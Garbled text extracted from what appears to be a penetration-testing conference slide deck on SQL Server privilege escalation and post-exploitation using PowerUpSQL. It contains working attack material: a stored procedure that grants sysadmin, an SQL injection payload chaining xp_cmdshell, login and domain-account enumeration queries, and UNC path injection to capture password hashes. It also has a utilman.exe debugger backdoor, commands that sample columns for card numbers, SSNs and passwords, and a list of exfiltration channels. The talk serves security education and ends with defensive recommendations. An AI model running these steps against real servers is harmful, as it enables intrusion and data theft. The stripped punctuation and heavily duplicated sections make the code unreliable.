b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
Boe Prox Runspace blogs
Warren F ( RamblingCookieMonster) Invoke-Parallel function
Oyvind Kallstad Test-IsLuhnValid function
Kevin Robertson Invoke-Inveigh
Joe Bialek Invoke-TokenManipulation
Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov
Contributions and QA
Khai Tran Design advice
NetSPI assessment team and dev team Design advice
Speaker Information
Name Scott Sutherland
Job Network amp Application Pentester NetSPI
Twitter _nullbind
Slides httpslidesharenetnullbindhttpslidesharenetnetspi
Blogs httpsblognetspicomauthorscott-sutherland
Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind
Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip
Technique PowerUpSQL Function
Dictionary Attack Invoke-SQLAuditWeakLoginPw
Default Password Test Invoke-SQLAuditDefaultLoginPw
Local Windows or ADS Domain Account
Get-SQLConnectionTestThreaded
Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts
Technique PowerUpSQL Function
Blind Login Enumeration+
Dictionary Attack =
Super Cool
Invoke-SQLAuditWeakLoginPw
bull Enumerate all SQL Server logins with the Public role
bull Enumerate all domain accounts with the Public role
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
Escalating Privileges Weak PasswordsEnumerating SQL Logins
1 Attempt to list all SQL Server logins and fail
2 Get principal id for the sa account with ldquosuser_idrdquo
3 Use ldquosuser_namerdquo to get SQL logins using just principal ID
4 Increment number and repeat
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak Passwords
select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null
Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
Domain of SQL Server
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
Full RID of Domain Admins
group
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges Weak PasswordsEnumerating Domain Users
1 Get the domain
2 GID RID of default group
3 Grab the first 48 Bytes of the full RID
4 Create new RID with by appending a hex number value and the SID
5 Use ldquosuser_namerdquo function to get domain object name
6 Increment and repeat
1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Escalating Privileges DEMO
DEMOGet-SQLFuzzServerLogin
Invoke-SQLAuditWeakLoginPw
Get-SQLFuzzDomainAccount
Escalating Privileges Impersonation1 Impersonate Privilege
a Server EXECUTE AS LOGIN
b Database EXECUTE AS USER
2 Stored Procedure and Trigger Creation Injection Issues
a EXECUTE AS OWNER
b Signed with cert login
3 Automatic Execution of Stored Procedures
4 Agent Jobs
5 xp_cmdshell proxy acount
6 Create Databse Link to File or Server
7 Import Install Custom Assemblies
8 Ad-Hoc Queries
9 Shared Service Accounts
10 Database Links
11 UNC Path Injection
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Prosbull Execute queriescommands in another user
context
Consbull Requires database to be configured as trustworthy
for OS command executionbull Commands and queries are not limited in any way
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationImpersonate Privilege
bull Can be used at server layer
o EXECUTE AS LOGIN
bull Can be used at database layer
o EXECUTE AS USER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE
Consbull No granular control over the database ownerrsquos
privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB
which is often a sysadminbull Requires database to be configured as trustworthy for
OS command executionbull Impersonation can be done via SQL injection under
specific conditionsbull Impersonation can be done via command injection
under specific conditions
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull EXECUTE AS OWNER can be used to execute a stored procedure as another login
bull DB_OWNER role can impersonate the actual database owner
USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO
SYSADMIN is often the
OWNER
Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues
bull Use signed Procedures
o Create stored procedure
o Create a database master key
o Create a certificate
o Create a login from the certificate
o Configure login privileges
o Sign stored procedure with certifiate
o GRANT EXECUTE to User
Prosbull Can execute queriescommands in another user
contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as
trustworthy for OS command execution
Consbull Impersonation can be done via SQL injection
under specific conditionsbull Impersonation can be done via command
injection under specific conditions
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2
DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO
PURE EVIL
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--
httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation
Escalating Privileges ImpersonationSQL Injection Example
Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure
bull Stored procedures ca be configured to execute when the SQL Server service restarts
Prosbull Marking a stored procedure to run when the SQL
Server service restarts has many use casesbull Only stored procedures in the master database
can be marked for auto execution
Consbull No granular control over what context the startup
command is executed inbull All stored procedures marked for auto execution
are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures
can lead to execution as lsquosarsquo
Escalating Privileges DEMO
DEMOInvoke-SQLAudit
Escalating Privileges Invoke-SQLPrivEsc
Whooray for Automation Demo
Escalating Privileges DEMO
DEMOInvoke-SQLEscalatePriv
Escalating Privileges Invoke-SQLPrivEsc
DEMO
EscalatingPrivileges
SysAdmin to Service Account
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
Executing OS Commands xp_cmdshell Custom Assemblies (net) Custom Extended Stored Procedures (C++) Agent Jobs
o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package
Registry Autoruns File Autoruns
Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation
You donrsquot need to know the password crack a hash or PTH
Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin
Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016
- Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)
- We can now escalation from service account to LocalSystem
- No patch that Irsquom aware of
Check out their blog for details
httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system
Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution
PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc
EscalatingPrivileges
Shared Service Accounts
Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts
1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them
One account to rule them all
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging Shared MS SQL Server Service Accounts
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
LVA
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Execute Local Command via xp_cmdshell
2
Access to HVA with shared domain service account
Key
HVA = High Value Application
LVA = Low Value Application
Execute commands and gather data from other
database servers via osql
3
Leveraging Shared MS SQL Server Service Accounts
EscalatingPrivileges
Crawling Server Links
Escalating Privileges Crawling Server LinksWhatrsquos a database link
Database links are basically persistent database connections for SQL Servers
Why should I care
Short answer = privilege escalation
Public role can use links to execute queries on remote servers (impersonation)
SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)
Stored procedures can be executed (xp_cmdshell)
Links can be crawled
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain EvilKey
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB1
LVA
Inte
rnet
DM
ZIn
tran
et
LRA HVA
LVA
ADS
Ports80 and 443
Ports1433 and 1434
HVA
PURE EVIL
Captain Evil
SQL Injection
1
Key
HVA = High Value Application
LVA = Low Value Application
Leveraging MS SQL Database links
DB Link with
Least Privileges
DB Link with
SA account
DB1
LVA
Execute SQL queries and local commands on
database servers via nested linked services
2
Escalating Privileges Crawling Server Links
Penetration Test Stats
Database links exist (and can be crawled) in about 50 of environments wersquove seen
The max number of hops wersquove seen is 12
The max number of servers crawled is 226
Escalating Privileges Crawling Server Links
Old Script
2012 - httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler
New Script
scriptspendingGet-SqlServerLinkCrawlps1
Author Antti Rantasaari
Escalating Privileges Crawling Server Links
DEMO
Escalating Privileges Database Links
DEMO
Escalating Privileges Crawling Server Links
EscalatingPrivileges
UNC Path Injection
Escalating Privileges UNC Path Injection
UNC Path Injection Summary
UNC paths are used for accessing remote file servers like so 19216814file
Almost all procedures that accept a file path in SQL Server support UNC paths
UNC paths can be used to force the SQL Server service account to authenticate to an attacker
An attacker can then capture the NetNTLM password hash and crack or relay it
Relay becomes pretty easy when you know which SQL Servers are using shared accounts
Escalating Privileges UNC Path Injection
Escalating Privileges UNC Path Injection
Oh yeahhellip
By DEFAULT the PUBLIC role can execute (at least) two procedures that accept a file path
xp_dirtreexp_fileexists
Escalating Privileges UNC Path Injection
So in summaryhellip
The PUBLIC role can access the SQL Server service account NetNTLM
password hash by default
Escalating Privileges UNC Path Injection
But who really hasPUBLIC role access
Oh yeah a ton of domain users
Escalating Privileges DEMO
DEMOGet-SQLServiceAccountPwHashes
hellipwhat Itrsquos self descriptive
Escalating Privileges UNC Path Injection
DEMO
EscalatingPrivileges
OS Admin to SysAdmin
Escalating Privileges OS Admin to SysAdminTwo things to knowhellip
1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges
Escalating Privileges OS Admin to SysAdmin
Approach 2000 2005 2008 2012 2014 2016
LSA Secrets x x x x x x
Local Administrator x x
LocalSystem x x x
Process Migration x x x x x x
Token Stealing x x x x x X
Single User Mode x x x x x
Below are some options for leveraging that knowledge
Escalating Privileges OS Admin to SysAdminHere are some tool options
Approach Common Tools
Access as Local Administrator Management Studio sqlcmd and other native SQL client tools
Access as LocalSystem Psexec accessibility options debugger with native SQL client tools
Recover SQL Server service account password from LSA Secrets
Mimikatz Metasploit lsadump
Inject shellcode or DLL into the SQL Server service process
Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)
Steal Authentication Token From SQL Server service process
Metasploit Incognito Invoke-TokenManipulation
Single User Mode DBATools
Common Post Exploitation Activities
Post Exploitation OverviewCommon Post Exploitation Activities
1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc
2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples
3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS
tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)
Post Exploitation PersistenceTask Command Example
Registry Autorun Persistence
Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014
Debugger Backdoor Persistence
Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014
Post Exploitation Persistence
Post Exploitation Finding Sensitive DataTask Command Example
Locate Encrypted Databases
Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo
Locate and Sample Sensitive Columnsand Export to CSV
Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv
Post Exploitation Finding Sensitive Data
DEMO
Post Exploitation Finding Sensitive Data
DEMO
GeneralRecommendations
General RecommendationsThings to dohellip
1 Enforce least privilege everywhere
2 Disable dangerous default stored procedures
3 Audit and fix insecure configurations
4 Use policy based management for standardizing configurations
5 Enable auditing at the server and database levels and monitor for potentially malicious activity
PowerUpSQL Overview Thanks
Individual Third Party Code Direct Contributors
